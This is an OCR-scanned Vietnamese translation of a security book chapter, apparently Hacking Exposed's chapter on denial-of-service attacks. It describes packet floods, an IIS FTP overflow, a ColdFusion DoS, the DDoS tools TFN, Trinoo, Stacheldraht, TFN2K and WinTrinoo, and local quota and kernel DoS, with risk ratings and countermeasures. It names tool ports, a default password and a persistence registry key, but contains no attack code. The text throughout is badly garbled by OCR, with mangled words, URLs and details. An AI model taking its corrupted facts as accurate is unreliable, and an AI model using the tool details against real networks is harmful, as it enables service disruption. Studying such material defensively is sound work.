tiéu thu tur tir qua cac khoang tho1 gian keo dai nhim tranh bi do ra.

Bién phap déi phé véi L6 ro Day ong cuén Windows NT

Pé v6 hiéu hda cudc tan cdng nhu thé nay qua mot phién gia tri null thi ban
phai ol bo SPOOLSS khoi phim Registry
HKLM\System\CCS\Services\LanmanServer\Parameters\NullSessionPipes
(REG_MULTI_SZ) . Hay ghi nho rang bién phap hieu chinh nay khong the

ngin nhitng ngudi sit dung c6 thé nhan dang duoc tién hanh cudc tin cong.

Tan cong DoS Tran Bé dém trong IIS FTP Server

Tinh pho bién: 5
Tinh don gian: 3
Tac doneg: 7

Panh gia do rui ro: >

Nhu ching ta di ban dén & Chuong 8, nhiing cudc tan cong tran bo dém
deu vO cung hiéu qua tmng viéc lam tc:un hai dén an ninh cta nhitng hé thong
yéu. Ngoai nhu‘ng ngu v an ninh 1én vé cac diéu kién tran bd dém thi chung
con hiéu qua & ca viéc tao ra cac diéu kién DoS. Néu nhu diéu kién tran bd
dém khéng cung cap truy nhap cho ngudi st dung trén (superuser) thi nhiéu
khi né cé thé duoc st dung dé pha hdy tmg dung yéu tir xa.

Bién phap doi pho véi Tan cong DoS Tran Bé dém trong IIS FTP Server
Céac hotfix Microsoft Service Pack 5 va post-Service Pack 4 ciing ban dén
nhuoc diém nay. D61 véi cac hotfix Service Pack 4 hiy tham khio
ftp://ftp.microsoft.com/bussys/iis/1s-public/fixes/usa/security/ftpls-fix/.




Tan cong stream va raped

Tinh pho bién: 5
Tinh don gian: 6
Tac done: 9

Panh gia do riii ro: 7

Stream.c (Viét boi mot tac gid vo danh) va raped.c viét bdi Liquid Steel
da xuat hién tur do vao dau nim 2000. Nhitng cudc tan cdng nay déu don gin
tirong tu gidng nhau va cling kha hiéu qua.

Ca hai cudc tin cong déu la tin cong doi ngu-::m luc lon dung viec hé
diéu hanh khong co kha nang quan ly ngay mo1 go1 tin d1 hinh duoc gu to1 no.
Ban dau la tin cong FreeBSD-only ca hai loai tan cdng nay stream va raped c6
thé de nang lén nhiéu hé diéu hanh ké ca (nhung khong han ché trong pham vi1
nav) Windows NT. Trieu chu*ng la su dung CPU qua ta1 (xem minh hoa ¢
phan sau) nhu'ng mot khi vu tan cong lang di1 thi hé thﬂng la1 tré la1 binh
thuong. Vu tan cmng stream.c hoat dc:-ng bing cach gl cac gm tin TCP ACK
to1 mot loat cac cong vor nhiing s6 ngau nhién trong dédy so va cac dia chi IP

ngudn ngau nhién. Tan cdng raped.c hoat dong bing cach gt di cac goi tin
TCP ACK voi1 cac dia chi IP nguon b1 gia mao.
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Bién phap doi pho vo1 Stream va raped

That khong may rat it hé diéu hanh cung cap nhitng bién phap va tam cho tan
cong kiéu nay. Chung ta khong biét gl ve bat ky mét hotfix Windows NT nao.
Tuy nhién dé cé FreeBSD ban c6 thé 4p dung bién phap va tam khong chinh
thue: http:// www.ireebsd.org/~alired/tcp fix.diff.




Tan cong Quan tri vien ColdFusion

Tinh pho bién: 7
Tinh don gian: 8
Tac done: 9

Panh gia do riii vo: 8

Puoc Foundstone phat hién vao thang Sau ndm 2000, nhuoc diém nay
d3 loi dung mot yéu diém trong phan th1et ké chuong trinh dé ha server mét
cach co hieu qua. Phu nhan dich vu xuat hién trong sudt quy trinh chuyen mat
khau dau vao va mat khau duoc luu trt thanh cac dang thich hop dé so sanh
khi mat khau dau vao rat 1én (>40,000 ky tu). Viec thuc hien tin cong nhu thé
nay la binh thudong va duoc ban dén & Chuong 15.

Bién phap doi phé véi tan cong Quan tri vién ColdFusion
Nhitng bién phap doi pho cho nhuoc diém nay duoc ban dén nhiéu & Chuong
15.

Tan cong Phi nhan Dich vu ¢6é phan phoi

Khi cudn Hacking Exposed duoc xuat ban lan dau vao thang Chin nim 1999
thi khai niém vé nhitng cudc tan cong pht nhan dich vu c¢é phan phdi méi chi
la trén 1y thuyét va qua nhiing 101 don dai. Bay gio thi ban khéng thé néi vé
may tinh cho ba cua minh ma khéng dung tir "DDoS". Nhu nhitng con vi1 rut
sinh s61 ndy nd nhu ra & trén mang Internet, cac phuong tién truyén thong da
dem nhiing cudc tin cong DDoS ra lam chu dé.

Vao thang Hai nim 2000 cudc tan cdong DDoS hang loat dau tién da
xuat hién. Pugc khéi dau trude hét 1a nhdm vao Yahoo sau d6 1a E TRADE,
eBay, Buy.com, CNN.com, va nhiing trang khac ntra, ke tan cong da ha trén 7
trang web ma chung ta déu biét va VG sO cac trang khac ma chung ta co the
chura hé duoc nghe to1. Chung to1 mubn noi nhitng vu tn cong nav cO ngucun
g-:::uc tr mot do1 ngli tin tdc chuyén nghiép ap dat nhitng mong muodn ky quai
vol nhitng nguol st dung mang Internet dang thuwong nhung no khong chi co
thé. Diéu nguoc la1 la1 dﬁng

Nhitng vu tan céng DDoS xay ra khi mét a1 do (thl,r-:rng 1a mbt thiéu
nién dang budn chan) st dung mot phan mém mién phi sin cé nao dé de gl
di mot trAn mua gdi tin té1 mang hay host dén muc dich lan at cac ngucrn luc
cua no. Nhung trong truong hop cac DoS ¢o phan phéi thi ngudn gnc cudc tan
cong lai xuat phat tu rat nhiéu ngudn. Va cach duy nhét c6 thé tao ra tinh
hubng nay d6 la lam ton hai cac hé théng maéy tinh hién hitu trén mang
Internet.

Bude dau tien ma bat ky ké tan céng DDoS nao phai lam do la tim muc
tiéu va gianh quyén truy nhap hanh chinh trén cang nhleu hé thong cang tot.
Nhiem vu nay thuong duoc tién hanh bang mot kich ban tin cong da duoc tuy



bién nhim muc d’lch xac dinh nhu’ng he tthg co kha nang yeu Chung ta da
ban xuyén subt ELIDIl sach nay vé cach thirc mdt ké tan coéng cé thé bay ra
nhitng kich ban tan cong nhu vay. Tat ca nhitng gi ban phai lam 1a nhin vao
nhitng ban ghi birc twong lira @Home va DSL ciia chung t6i dé hiéu nhimg gi
dang dién ra. Nhiimg ke soan kich ban trén khap thé giéi déu dang quét hinh
nhitng mang cap duoi khiem ton nay tim kiém mot hé thong duwoc dinh cau
hinh kém hay phan mém yéu dé cung cip truy nhap tirc thoi vao may tinh muc
tiéu.

Mot khi ho da truy nhap dugc vao he thﬂng thi ké tan cong sé tai len
phan mém DDo$S ctia minh va cho phan mém dé Chay Céach thirc ma hau het
DDoS server (hay daemon) cho chay do la nghe cac chi dan trudc khi tan
ct::«ng Piéu nay cho phep ke tan cong tai ve phan mém can thlet trén cac host
bi ton hai té1 va sau d6 cho thoi co thich hop dé g ra 1énh tan cong.

Hinh 12-3 cho thay cach thirc toan bd cudc tan céng thong thuong dién
ra nhu thé nao tir gy ton thuong da hé thong cho dén ct dét kich cubi cung.

S6 luong cac cong cu DDoS ting 1én hau nhu la theo thang vi vy mot
ban phan tich hoan chinh va cap nhat cua tat ca cac cong cu DDoS la diéu
khong thé. Do vay ma chung t6i di nhom nhiing gi chiing t61 cho la cot 161 cta
cic cong cu DDoS. O nhiing doan sau ching ta sé ban dén TFN, Trinoo,
Stacheldraht, TFN2K, va WinTrinoo. Nhitng cong cu DDoS khac da duogc gial
phong bao gom ca Shaft va mStreams nhung nhiing cong cu nay déu dua trén
nhitng cong cu di duoc dé cip trudc. Dé biét thém thong tin vé Shaft hiy
tham khao http://netsec.gsfc.nasa gov/~spock/shaft analysis.txt. Pé biét thém
thong tin vé mStreams hay tham khao
http://staft washington.edu/dittrich/misc/mstream.analysis. txt.




Mang Lu Tribe (TFN)

Tinh pho bién: 7
Tinh don gian: b
Tac dong: 9

Panh gia do rii ro: 7

Puoc viét bdi mot tin tic c6 tén 1a Mixter, TFN la cong cu phd nhin
dich vu co phan phéri trén co s& UNIX xuat hién céng khai 1an dau tién (duoc
phat hién chu yéu ¢ cac may tinh Solaris va Red Hat). TFN c6 ca mot thanh
phan client va server cho phép ké tin cong lip dit server trén mot hé th-::mng b1
tén thuong tir xa va sau do la vo1 it hon mot lénh don le trén client nhim khéi
dau mot vu tan cong phu nhan dich vu ¢6 phan phm c¢é quy mb day du. Trong
s6 cac loai hinh tan cong san c¢6 vo1 TFN do la cac tran 10 ICMP, Smurf, UDP
va SYN. Ngﬂal cac thanh phan tan cong ctia TEN thi sén pham cling cho phép
mot shell guc duoc gin téi m:::nt cong TCP.

Pé biét thém chi tiét vé TFN hiy tham khao ban phén tich ctia Dave
Dittrich ta1 http://statf washington edu/dittrich/misc/ddos/.

Bién phap doi pho véi TFN

Do Mot sb cac co ché do tdn tai cho TFN va c6 thé duoc tim thiy trén khip
mang Internet. M6t vai cling dang dé tham khio dé 1la DDOSPing cua
Foundstone (http:// www.foundstone.com), Zombie Zapper bd1 do1 ngli Razor




cua  Bindview (http://razor bindview.com) va find ddos  (http://
www.nipc.gov) bo1 Trung tam Bao vé Co s& ha tang Quoc gia (NIPC).

Phong tranh T nhién la bién phap phong vé t6t nhat tranh khéng cho
cdc hé thong ctia ban bi sit dung trong tinh trang song d& chét dé doi véi
nhitng loai hinh tin cong nay dé la phong tranh khéng cho chung bi giy ton
thuong ngay tir dau. Diéu nay cé nghia la thuc thi moi budc trong chuong
UNIX (Chuong 8) cho cac dich vu gio1 han, ap dung cho hé diéu hanh va cac
bién phap nd1 tam ung dung va lap tép tin/cac phep thu muc (trong s6 nhiéu dé
xuit khac nira).

Sau diy 1a mot bién phap phong tranh khac cho TFN: do truyén thong
TFN dién ra qua ICMP nen ban co thé khong cho phép moi dudng giao thong
ICMP duoc gan ben trong to1 mang cua ban.

Pé bao vé cac hé thong ctia ban khai bi tan c:}ng bdi cac thanh phan pha
hoai TEN ban c¢6 thé :ap dung loc theo lﬂal tai cac cau dan bién cta ban (nhu

loc the{:i loai ICMP dé 2101 hanﬁcac cudc tan cong ICMP va Smuri:)g, cling nhu
da co san trong pham vi1 hé diéu hanh Cisco IOS 12.0 va dinh cau hinh cho

Kiém soat Truy nhap Can cu trén Ngit canh (CBAC) trong Cisco I0S 12.0
nhim han ché rdi ro ctia nhitng cudc tan cong SYN.

Trinoo

Tinh phé bién: 7
Tinh don gian: b)
Tac dong: 9

Panh gia do rui ro: 7

Tuong tu nhu TFN, Trinoo hoat dong bing cach st dung mét chuong
trinh diéu khién tir xa noi chuyeén vo1 mot bo phan quan ly co nhiem vu chi
dan cho cac daemon (server) tan ct}ng Truyen thong gitta client va bd phan
quan ly la qua TCP chg 27665 va thuong do1 ho1r “betaalmostdone” cua mat
khau. Truyén théng tir bd phin quan Iy t&i server la qua UDP cong 27444
Truyén thdng tir server tré lai bd phin quan 1y thuong duwoc thuc hién qua
UDP tinh cong 31335.

Pé biét thém chi tiét vé Trinoo hiy tham khio phan phan tich ctia Dave
Dittrich & http://staff. washington.edu/dittrich/misc/ddos/.

Bién phap dnl pho voi Trinoo

Do Mot s6 cac co ché do ton tai danh cho Trino bao gdm ¢4 DDOSPing cla
Foundstone (http:// www.foundstone.com), Zombie Zapper cua do1 Razor cua
Bindview (http://razor.bindview. c»:::-m) va find ddos (http:// www.nipc.gov)
cta Trung tAm Bao vé Co s& ha ting Qudc gia (NIPC).




Ph:::-ng tranh Cling gmng nhu trlr{:rng hop cua TFN b1e:1:1 phap pht:mg tranh tot
nhat d6 la khéng dé cho cac he théng cta minh bi ton thuong bing cach tuin
theo cac budc nghiém ngit vé UNIX & chuong UNIX (Chuong 8).

Pé bao vé cac hé thong cta ban kho1 b tan cong béi cac Trinoo zombie
ban c6 thé nho dén viée loc hang ta1 cac cau dan bién ctia ban (nhu loc hang
ICMP nham han ché nhiing cudc tan cdong ICMP va Smurf, cling g16ng nhu &
pham vi hé diéu hanh Cisco IOS 12.0 va dinh cau hinh Klem soat Truy nhap
Trén co s¢ Ngit canh (CBAC) trong Cisco I0S 12.0 nhim han ché rii ro vé
nhitng cuodc tan cong SYN.

Stacheldraht

Tinh pho bién: 7
Tinh don gian: J
Tac dong: 9

Panh gia do rii ro: I

Stacheldraht két hop nhiing tinh nidng cua Trinoo vo1 nhiing tinh néng
cua TFN nhim cung cap mdt cong cu pha hiy gidu tinh ning hién nay bao
odm ca mot phién telnet dwoc ma hoa gitta nhiing tén nd 1€ va nhitng 6ng chu.
Bay gid thi ké tan céng co thé che mit cac hé thong do xam nhép trén co sé
mang nhim cho phep cac kha ning phu nhan dich vu tuw do. Twong tu nhu
TEFN Stacheldraht tan céng bing nhiing dot tan cong kiéu ICMP-, UDP-,
SYN-, va Smurf . Pé lién lac gitta client va server Stacheldraht co st dung
mot két hop gitta cac géi tin TCP va ICMP (tra 161 ECHO).

Viec ma hoa duoc su dung gifta client va server co dung dén mot thuat
toan m3 héa phim dbi ximg. Viéc bdo vé mat khau cling sin c6 VOl
Stacheldraht. Mot tinh nang nita dang phai chuy dén d6 1a kha ning nang cap
thanh phan server theo yéu cau c6 su dung lenh rep.

Pé biét thong tin rd hon vé Stacheldraht hdy xem ban phan tich Dave
Dittrich ta1 http://statf washington. edu/dittrich/misc/ddos/.

Bién phap dul pho Stacheldraht

Do Mot s6 co ché do ton tai cho Stacheldraht bao gom ca DDOSPing cua
Foundstone (http:// www foundstone com), Zombie Zapper cua do1 Razor cua
Bindview (http:f’frazmr.bindview.‘cmm) va find ddos (http:/ www.npic.gov)
ctia Trung tam Bao vé Co s& ha tang Quoc gia (NIPC).

Phong tranh Nhu vo1 cac cong cu DDoS truoc thi bien phap phong vé
t6t nhat cho Stacheldraht d6 la ngin khong cho cac he thong cua ban b1 su
dung nhu 1 nhitng zombie. Diéu nay d6ng nghia véi viée thuc thi tit ca céc
budc & chuong UNIX (Chuong 8) dbi véi cac dich vu han ché ap dung hé diéu



hanh va ap dung nhitng bién phap va tam va lap cac phep tép tin/thw muc
(trong s6 nhiéu dé xuat khac).

Con mot bién phap phong tranh khac cho Stacheldraht tuwong tur nhu
TFN. Béi vi truyén théng TFN dién ra qua ICMP nén ban co thé khong cho
phép moi duong giao thong ICMP bén trong két nodi téi mang cia ban.

Pé bio vé cac hé théng cua minh khong bi tan cong bdi cac zombie
Stacheldraht ban c6 thé nhd dén loc hang tai cac cau dan bién ctia ban (nhu loc
hang ICMP nhim han ché nhiing cudc tin cong ICMP va Smurf), giong nhu
san co trong pham vi he diéu hanh Cisco IOS 12.0 va dinh cau hinh Klem soat
Truy nhap trén co s¢ Ngit canh (CBAC) ¢ Cisco I0S 12.0 nhim han ché rii ro
ve nhiing cuoc tan cong SYN.

TFN2K

Tinh pho bién: 8
Tinh don gian: 5
Tac dong: 9

Panh gia do riii ro: 7

TFN2K thay thé cho TFN 2000 va la ké vi cho TFN goc ctia Mixter.
Cong cu DDoS moi nhat nay khac hin VO1 ban gdc cla nod, cho phép nhiing
lién lac duoc ngau nhién hda trén cac cong (& day xdéa bo viée chin cong tai
cac cau dan bién chia ban nhu la mot bién phap phong tranh). Tuwong tu nhu
ban trudec nd TFEN2K c6 thé tan cong vo1 nhitng cude tan cong SYN, UDP,
ICMP va Smurf. N6 ciing ¢6 thé ngiu nhién chuyén dao gitta cac ban chit
khéc nhau ctia cudc tin cong. Tuy nhién khéng nhu “m3 héa” Stacheldraht,
TFN2K st dung m6t dang m3 hoéa yéu hon cé tén la 14p mi Base 64.

MO6t ban phan tich k§ ludng vé TFN2K d3 duoc hoan chinh béi Jason
Barlow va Woody Thrower cua Po1 An ninh AXENT va co thé tim &
http://packetstormsecurity.org/distributed/ TFN2k Analvysis-1.3 txt.

Bieén phap dm pho TFN2K

Do Mot s6 co ché do ton tai cho TFN2K bao gom ca Zombie Zapper cua
do1 Razor cua Bindview (http://razor bindview.com) va find ddos (http://
www.nipc.gov) cia Trung tAm Bao vé Co s& ha tang Quoc gia (NIPC).

Phong tranh Nhu vo1 cac cong cu DDoS truoc thi bién phap phong vé
t6t nhat cho TFN2K la tranh khong cho cac hé thong ctia ban b1 str dung lam
nhitng zombie. Diéu nay dmng nghia véi viée thuc thi tit ca cac budc &
chuwong UNIX (Chuong 8) d6i véi cac dich vu han ché ap dung hé diéu hanh

va nhitng bien phap va tam ung dung va lap cac phep tép tin/thu muc (trong $6
nhiéu dé xuit khac).



Pé bao vé cac hé thong khoi cac cudc tin cong do cac zombie TFN2K
gay ra ban co thé nho dén loc hang tai1 cac cau dan bién cta ban (nhu loc hang
ICMP dé han ché cac cudc tan cong ICMP va Smurf, cling nhu & trong pham
vi hé diéu hanh Cisco IOS 12.0 va dinh cau hinh Kiém soat Truy nhép trén co
s& Ngftt canh (CBAV) trong Cisco IOS 12.0 nhim han ché rii ro vé cic cudc
tan cong SYN.

WinTrinoo

Tinh phé bién: 5
Tinh don gian: 5
Tac dong: 9

Panh gia do rui ro: 6

WinTrinoo duoc cong bé lan dau tién trudc cong chung bo1 don
Bindview Razor. WinTrinoo la phién ban Windows cta Trinoo va c6 hau hét
nhitng kha ndng ma phién ban trudc cua no co. Cong cu nay la mot
service.exe duoc dat tén (néu no chua duoc dat tén) va kich c¢& cua no la
23.145 byte. Mot khi phﬁn th1 hanh chay thi no s€ cong thém moét gia tr1 vao
phim Run trong Windows Registry dé cho phép né khéi déng lai mdi khi khéi
dong lai may tinh.

LUUY Hay can than kéo nham tép tin WinTrinoo “service.exe” vdi1 tép
tin da “service.exe.”

HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\R
un System Services: REG SZ: service.exe

Di nhien la gia tr1 rieng biet nay sé€ chi chay néu nhu tep tin
“service.exe” & dau do trong duong dan clia muc tiéu. WinTrinoo nghe trén ca
TCP va UDP cong 34555.

Bién phap doi phé WinTrinoo

Pé do duoc WinTrinoo ban ¢6 thé do tim trén mang cua minh TCP hay UDP
céng 34555 m& hoic tim kiém mot tép trén cac hé thérng cua minh voi1 tén
“service.exe” (mic du nd cé thé duoc dit lai tén) co kich ¢& tép tin 1a 23.145
byte. Ngoai k¥ thuat don gidn nay ban c6 thé nhd dén mot chwong trinh diét
virat nhu Norton Antivirus cia Symantec ma s& tw dong kiém tép tin trude khi
chay.

Tan cong DoS Cuc bo
Mac du nhiting cuoc tan cong DoS tur xa dd xuat hien trén cac tit bao nhung
tan cong DoS cuc bo lai cuc ky nguy hiem. Nhiéu hé thong da nguoi st dung



tr& thanh con mdi cho mdt ke sur dung duoc uy quyen tién hanh mot vu tan
cong DoS khong duoc uy quyén. Hau hét cac cude tin cong DoS cuc bo cd
thé tiéu thu cac nguodn luc hé thong hay ciing cé thé khai thac nhitng nhuoc
diém trong cac chuong trinh hién c6 dé pht nhan truy nhip bdi nhiing nguoi
st dung hop phap. Trong khi hang tram vu tan cong DoS cuc b ton tai cho
cic hé théng UNIX va NT thi chung ta s& nor dén modt vu tan coéng nhuoc
diém 14ap trinh va d6i ngudn luc d6i véi Windows NT va UNIX tuong Ung.

Server Cudi Windows NT 4.0 va proquota.exe

Tinh pho bién: 2
Tinh don gian: 4
Tac dong: 7

Panh gia do rui ro: -

Mot vi du c6 dién vé tin cong doi nguodn luc do 1a st dung khoang trong
tmng dia bing cach vuot qua chi sé duoc dit ra. Tr::rng kh1 chure nang vé chi
s6 trong dia di duoc st dung mdt luc nao d6 trong thé 2101 UNIX thi no tuong
d61 la md1 dd1 véi Windows NT. Trén An ban Server Cudi Windows NT-SP4
mot nguol str dung binh thuong co thé khai thac chitc ning khoang trong dia
Windows NT dé lam day %systemdrive%. Diéu nay sé phu nhéin truy nhap
vao hé thong cho tat ca nhiing nguoi sit dung ma khong co ban sao ve tiéu st
so luge cua minh dugc luu trit cuc bd. Trong cudc tan cong DoS nay nguoi su
dung nén khong co kha nang ding xuat hé thong néu ho d3 vuot qua chi $0.
Tuy nhién nguot su dung co the giét chét quy trinh proquota.exe dé pha hong
han dinh nay va sau d6 ding xuat. Viéc giét chét proquota.exe la ¢6 thé vi quy
trinh nay dwoc so httu bo1 nguol su dung chu khong phai bor tai khoan he
thong.

Bién phap doi phé Server Cudi Windows NT 4.0 va proquota.exe

Nhitng bién phap thi hanh an ninh tot s& ap dung viéc dit cac tép tin hé thong
trén mot phan danh riéng khac noi ma nhitng dit liéu ngudi st dung duoc luu
trtt. Chan 1y nay van dung cho ca vi du nay nita. %systemdrive% nén duwoc dit
trén mot phan danh riéng khac chir khong phai la noi cac tép tin ma ngudoi st
dung c6 thé truy nhap duoc luu trit. Ngoai ra hiy dit nhitng tiéu st so luoc
trén mot phan danh riéng khong khdi dong va chi st dung chung khi that can
thiét.

Khung hoang Kernel
Tinh pho bién: 2
Tinh don gian: 1
Tac dong: 7

Panh gia do rui ro: 3



Trong phién ban kernel Linux 2.2.0 d3 c6 mot diéu kién DoS tiém ning
if 1dd, mét chuong trinh dwoc st dung dé in ra nhiing phém lé thudc thu vién
chung, dd dugc su dung dé i in ra nhiing tép tn chinh nhat dinh. Nhuoc diém
nay lién quan dén yéu cau vé chirc ning munmap ( ) duoc st dung trong ldd
dinh ra hay khong dinh ra nhiing tép tin hay dung cu vao bd nho. O nhiing
hoan canh cu thé thi munmap () s& viét chén 1én nhitng khu vuc quan trong
ciia bd nhd kernel va gay cho hé thong khing hoang va phai khéi déng lai.
Trong khi nhuoc dlem nay khong co g1 la khac thuong thi no da minh hoa cho
khai niem co ban dang sau mot vu tan cong DoS kernel. O hau hét treong hop
mot nguoi st dung khong duoc dic quyén cé thé khai thac mot nhuoc diém vé
lap trinh nhim lam hong mot khu vuc bo nho quan trong duoc su dung boi
kernel. Két qua cudi cung hau nhu luon 1a mdt con khung hoang kernel.

Bién phap doi pho Khung hoang Kernel

M5t bién phap va tam kernel duoc dua ra dé khic phuc van dé nay do d6 ma
duoc hop thanh phién ban kernel 2.2.1. Hau nhu ban chang thé chi dong lam
oi duoc dé dam bao ring hé diéu hanh va nhiing thanh phan cé lién quan nhu
kernel 1a thoat duoc nhitng nhuoc diém lap trinh néu nhu m3 ngudn la riéng
tw. Tuy nhién d6i véi nhiéu phién ban UNIX tu do thi viéc kiém dinh m3
ngudn dé xem cé nhitng nhuoc diém vé lap trinh va nhitng nhuoc diém vé an
ninh c6 lién quan hay khong 1a kha ning cé thé xay ra.

TOM TAT

Nhu ching ta di thiy nhitng ké s& dung nham hiém cé thé tién hanh nhiéu
loa1 hinh tin cong DoS nhim pha hoai dung cu. Nhitng cudc tan cong tieu thu
dai thong dang la cai mﬁt méi nhat véi kha ning mé rong cac luong giao
thong ngheo nan to1 cac cap do trung phat Nhlmg cuﬂc tan cong doi1 nguﬂn
luc da }{a}f ra trong nhiéu nim va ke tn cong van tlep tuc su dung Ghung rat
thanh cong. Nhitng nhuoc diém vé lap trinh la thtr ma ké tan cong rat ua
chuong lam ting tinh phurc tap cua nhu'ng thuc thi ngan xép IP va nhu‘ng
chuong trinh lién quan. Cubi cung thi viée lap tuyén va nhitmg cudc tan cong
DNS déu v cung hiéu qua tmng viec khai thac nhiimg nhuoc diém cb hitu &
nhiing dich vu quan trong ma la nén moéng cho hau hét mang Internet. Trén
thuc te thi mot sO chuyén gia an ninh lap ly thuyet rang c6 thé tién hanh mot
cudc tan cong DoS vao chinh mang Internet bing cach van dung nhitng thong
tin lap tuyén qua Giao thure Cong Bién (BGP) ma duoc st dung rong rii bai
hau hét cac nha cung cap Internet chinh.

Nhiing cuoc tAn céng pht nhan dich vu cé phan phoi d3 trd nén ngay
cang phod blen nho kha nang truy nhap dé dang to1 nhiing khai thac va kha
nang tri tue can thiét tuong d6i kém dé co thé tién hanh chung. Nhiing cudc
tan cong nay nim trong so nhiing vu nham hiém nhat vi chung co thé nhanh



chéng tiéu thu ngay cé nhitng host 1én nhat trén mang Internet khién cho
chung tro nén vo dung.

V1 thuvong mai dién t tiép tuc dong mot vai tro chinh trong nén kinh té
dién t&r nén nhitng vu tan cong DoS sé co tac dong tham chi la lon hon lén xa
hoi dién tit ctia ching ta. Nhiéu t6 chirc hién di bat ddu nhan ra phan chinh
trong nhiing khoan thu nhap tu cac ngur::rn trén mang. Do vay ma mét vu tan
cong DoS keéo dai ¢o the lam cho mdt s6 t6 chirc ¢é kha ning bi pha san.
Tham chi nhiéu cudc tan cong nay cé thé ap dung nhiing kha nang dot nhap
tinh vi hon ma c6 thé g1au d1 nhitng cuoc tAn cong nhu vay. Nhiéu chinh phu
da hay dang trong qua trinh tang cuong nhitng kha nang dau tranh dién tir ma
sit dung cac cudc tan cong DoS chir khéng phai nhitng qua tén la thong
thuwong. Thoi dai khung bd mang thuc su da to1.
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